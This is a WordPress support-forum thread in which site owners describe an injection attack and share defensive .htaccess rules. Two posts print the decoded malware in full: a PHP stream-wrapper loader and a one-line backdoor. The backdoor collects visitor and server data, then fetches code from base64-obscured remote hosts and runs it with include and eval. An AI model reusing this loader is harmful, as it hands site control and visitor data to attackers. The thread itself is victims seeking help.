Support » Fixing WordPress » Possible PHP injection hack

  • Resolved DocHoloday


    Hi everyone,
    I’ve had an odd hacking attempt over the weekend and I wanted to get any thoughts you guys might have in resolving it or preventing it in the future.

    Yesterday, while FTP’ing some files to my server, I started to notice random files placed all over my wordpress install. In each directory (wp-admin, wp-content, plugins, etc) there would be at least 2-3 randomly named PHP files (date.php, users.php, links.php, etc) and a .htaccess file (with permissions of 777) that I didn’t place there. The PHP files contained a chunk of Base 64 encoded text, that when decoded, looked like a fairly scary script:

    class newhttp{
    protected $fullurl; protected $p_url; protected $conn_id; protected $flushed; protected $mode = 4; protected $defmode; protected $redirects = 0; protected $binary; protected $options; protected $stat = array('dev' => 0,'ino' => 0,'mode' => 0,'nlink' => 1,'uid' => 0,'gid' => 0,'rdev' => -1,'size' => 0,'atime' => 0,'mtime' => 0,'ctime' => 0,'blksize' => -1,'blocks' => 0);
    protected function error($msg='not connected') { if ($this->options & STREAM_REPORT_ERRORS) { trigger_error($msg, E_USER_WARNING); } return false; }
    public function stream_open($path, $mode, $options, $opened_path) { $this->fullurl = $path; $this->options = $options; $this->defmode = $mode; $url = parse_url($path); if (empty($url['host'])) { return $this->error('missing host name'); } $this->conn_id = fsockopen($url['host'], (empty($url['port']) ? 80 : intval($url['port'])), $errno, $errstr, 2); if (!$this->conn_id) { return false; } if (empty($url['path'])) { $url['path'] = '/'; } $this->p_url = $url; $this->flushed = false; if ($mode[0] != 'r' || (strpos($mode, '+') !== false)) { $this->mode += 2; } $this->binary = (strpos($mode, 'b') !== false); $c = $this->context(); if (!isset($c['method'])) { stream_context_set_option($this->context, 'http', 'method', 'GET'); } if (!isset($c['header'])) { stream_context_set_option($this->context, 'http', 'header', ''); } if (!isset($c['user_agent'])) { stream_context_set_option($this->context, 'http', 'user_agent', ini_get('user_agent')); } if (!isset($c['content'])) { stream_context_set_option($this->context, 'http', 'content', ''); } if (!isset($c['max_redirects'])) { stream_context_set_option($this->context, 'http', 'max_redirects', 5); } return true; }
    public function stream_close() { if ($this->conn_id) { fclose($this->conn_id); $this->conn_id = null; } }
    public function stream_read($bytes) { if (!$this->conn_id) { return $this->error(); } if (!$this->flushed && !$this->stream_flush()) { return false; } if (feof($this->conn_id)) { return ''; } $bytes = max(1,$bytes); if ($this->binary) { return fread($this->conn_id, $bytes); } else { return fgets($this->conn_id, $bytes); } }
    public function stream_write($data) { if (!$this->conn_id) { return $this->error(); } if (!$this->mode & 2) { return $this->error('Stream is in read-only mode'); } $c = $this->context(); stream_context_set_option($this->context, 'http', 'method', (($this->defmode[0] == 'x') ? 'PUT' : 'POST')); if (stream_context_set_option($this->context, 'http', 'content', $c['content'].$data)) { return strlen($data); } return 0; }
    public function stream_eof() { if (!$this->conn_id) { return true; } if (!$this->flushed) { return false; } return feof($this->conn_id); }
    public function stream_seek($offset, $whence) { return false; }
    public function stream_tell() { return 0; }
    public function stream_flush() { if ($this->flushed) { return false; } if (!$this->conn_id) { return $this->error(); } $c = $this->context(); $this->flushed = true; $RequestHeaders = array($c['method'].' '.$this->p_url['path'].(empty($this->p_url['query']) ? '' : '?'.$this->p_url['query']).' HTTP/1.0', 'HOST: '.$this->p_url['host'], 'User-Agent: '.$c['user_agent'].' StreamReader' ); if (!empty($c['header'])) { $RequestHeaders[] = $c['header']; } if (!empty($c['content'])) { if ($c['method'] == 'PUT') { $RequestHeaders[] = 'Content-Type: '.($this->binary ? 'application/octet-stream' : 'text/plain'); } else { $RequestHeaders[] = 'Content-Type: application/x-www-form-urlencoded'; } $RequestHeaders[] = 'Content-Length: '.strlen($c['content']); } $RequestHeaders[] = 'Connection: close'; if (fwrite($this->conn_id, implode("\r\n", $RequestHeaders)."\r\n\r\n") === false) { return false; } if (!empty($c['content']) && fwrite($this->conn_id, $c['content']) === false) { return false; } global $http_response_header; $http_response_header = fgets($this->conn_id, 300); $data = rtrim($http_response_header); preg_match('#.* ([0-9]+) (.*)#i', $data, $head); if (($head[1] >= 301 && $head[1] <= 303) || $head[1] == 307) { $data = rtrim(fgets($this->conn_id, 300)); while (!empty($data)) { if (stripos($data, 'Location: ') !== false) { $new_location = trim(str_ireplace('Location: ', '', $data)); break; } $data = rtrim(fgets($this->conn_id, 300)); } trigger_error($this->fullurl.' '.$head[2].': '.$new_location, E_USER_NOTICE); $this->stream_close(); return ($c['max_redirects'] > $this->redirects++ && $this->stream_open($new_location, $this->defmode, $this->options, null) && $this->stream_flush()); } $data = rtrim(fgets($this->conn_id, 1024)); while (!empty($data)) { $http_response_header .= $data."\r\n"; if (stripos($data, 'Content-Length: ') !== false) { $this->stat['size'] = trim(str_ireplace('Content-Length: ', '', $data)); } elseif (stripos($data, 'Date: ') !== false) { $this->stat['atime'] = strtotime(str_ireplace('Date: ', '', $data)); } elseif (stripos($data, 'Last-Modified: ') !== false) { $this->stat['mtime'] = strtotime(str_ireplace('Last-Modified: ', '', $data)); } $data = rtrim(fgets($this->conn_id, 1024)); } if ($head[1] >= 400) { trigger_error($this->fullurl.' '.$head[2], E_USER_WARNING); return false; } if ($head[1] == 304) { trigger_error($this->fullurl.' '.$head[2], E_USER_NOTICE); return false; } return true; }
    public function stream_stat() { $this->stream_flush(); return $this->stat; }
    public function dir_opendir($path, $options) { return false; }
    public function dir_readdir() { return ''; }
    public function dir_rewinddir() { return ''; }
    public function dir_closedir() { return; }
    public function url_stat($path, $flags) { return array(); }
    protected function context() { if (!$this->context) { $this->context = stream_context_create(); } $c = stream_context_get_options($this->context); return (isset($c['http']) ? $c['http'] : array()); }
    $a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
    $d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
    if($rkht==1){if ((include(base64_decode("aHR0cDovLw==").$p.base64_decode("LnVzZXJzLnBocGZyZWUucnU=").'/?'.$str.'.0'))){}
    else {include(base64_decode("aHR0cDovLw==").$p.base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==").'/?'.$str.'.1');}
    if ((include(base64_decode("aHR0cDI6Ly8=").$p.base64_decode("LnVzZXJzLnBocGZyZWUucnU=").'/?'.$str.'.2'))){}
    else {include(base64_decode("aHR0cDI6Ly8=").$p.base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==").'/?'.$str.'.3');}

    The bottom part includes more encoded text that looks like URLs to Russian sites like or something similar.

    The files were everywhere and I had to clean out hundreds. They hit me across two domains but luckily I had WP backups from about a week ago. I was able to just delete the whole mess and start over.

    My web host was no help, they basically told me it was my fault for running an insecure PHP application (WordPress) and that I’d just have to deal with it myself.

    I was wondering if anyone had seen anything similar or had any insight into how the files were injected. I’m running 2.6.5 with only a few plugins (NextGen Gallery, Clean Archives and Automatic Upgrade).

    I can understand how they might have “uploaded” or injected something into the upload script for something like NextGen Gallery, but these files where everywhere, every directory, every subdirectory, even in the images folders in my themes. It was crazy.

    Any thoughts or tips on how to avoid this sort of thing in the future?

Viewing 6 replies - 1 through 6 (of 6 total)
  • talon39


    I’m not expert, but I will try to make some suggestions. Can you check the server logs? Maybe there is a clue how they got in. At the very least I would change all your passwords to something long and complex. Make sure you delete everything before you restore the back up. You wouldn’t want any “extra” files to remain (like that bogus .htaccess file). Also make sure everything is chmoded to the proper permissions.
    What version of WP are you using?



    My host (the useless morons) only keep logs for 24 hours, the hack happened Saturday and I didn’t catch it until Tuesday, so no luck there.

    I totally wiped the site and every directory and started from scratch. I also created an entirely new mysql database to use and deleted the old one, just out of paranoia.

    I was running 2.6.3 at the time, I’m running 2.6.5 now.

    I appreciate the suggestions!



    To prevent it also depends on knowing how they did it.
    I have a couple of rules in my htaccess to prevent access to certain files and directories.

    # Deny anybody wp-login access
    RewriteCond %{REMOTE_ADDR} !my\.ip\.address\.xxx
    RewriteCond %{THE_REQUEST} .wp-login\.php.*
    RewriteRule .* – [F,L]

    # Refuse access in wp-content directory except for the three files mentioned
    RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /wp-content/.*$ [NC]
    RewriteCond %{REQUEST_FILENAME} !^.+flexible-upload-wp25js.php$
    RewriteCond %{REQUEST_FILENAME} !^.+style.css.php$
    RewriteCond %{REQUEST_FILENAME} !^.+wpsf-js.php$
    RewriteCond %{REQUEST_FILENAME} ^.+\.(php|html|htm|txt|pdf)$
    RewriteRule .* – [F,NS,L]

    I have a few others, including a whole list of know forum spammers.



    That’s an awesome idea Peter, I’m going to have to give it a try. Does wordpress need to access more than those three files on a routine basis or is it safe to lock everything else down like that? (I realize that’s a silly question if it’s something you’re doing and it’s obviously working for you)



    It’s not a silly question as the exception list is different for everybody.

    I used Firebug for Firefox to see which files couldn’t be read and added those to the exception list.
    Those three files are files are used by a theme and a plugin I use, I should delete the flex file as I don’t have that one on my system.

    So I recommend you start with no exceptions, check with Firefox and Firebug which files have a 403 error and add those.

    If you don’t have Firefox and/or Firebug drop me an email and I’ll help you out.



    Duh…i got this code too damn~ have to clean out manualy grrr…i think it comes from NextGen Gallery. this only plugin i later add cause me got this stupid code.

    <? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cGhwc2VhcmNoLmNu");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="441242fb9d58fd0c2144f247aab3e2de") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2FkczIu").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

    after decode it show

    aHR0cDovL2FkczIu= http://ads2.
    aHR0cDovLzcu= http://7.
    aHR0cDovLzcxLg= http://71.

Viewing 6 replies - 1 through 6 (of 6 total)
  • The topic ‘Possible PHP injection hack’ is closed to new replies.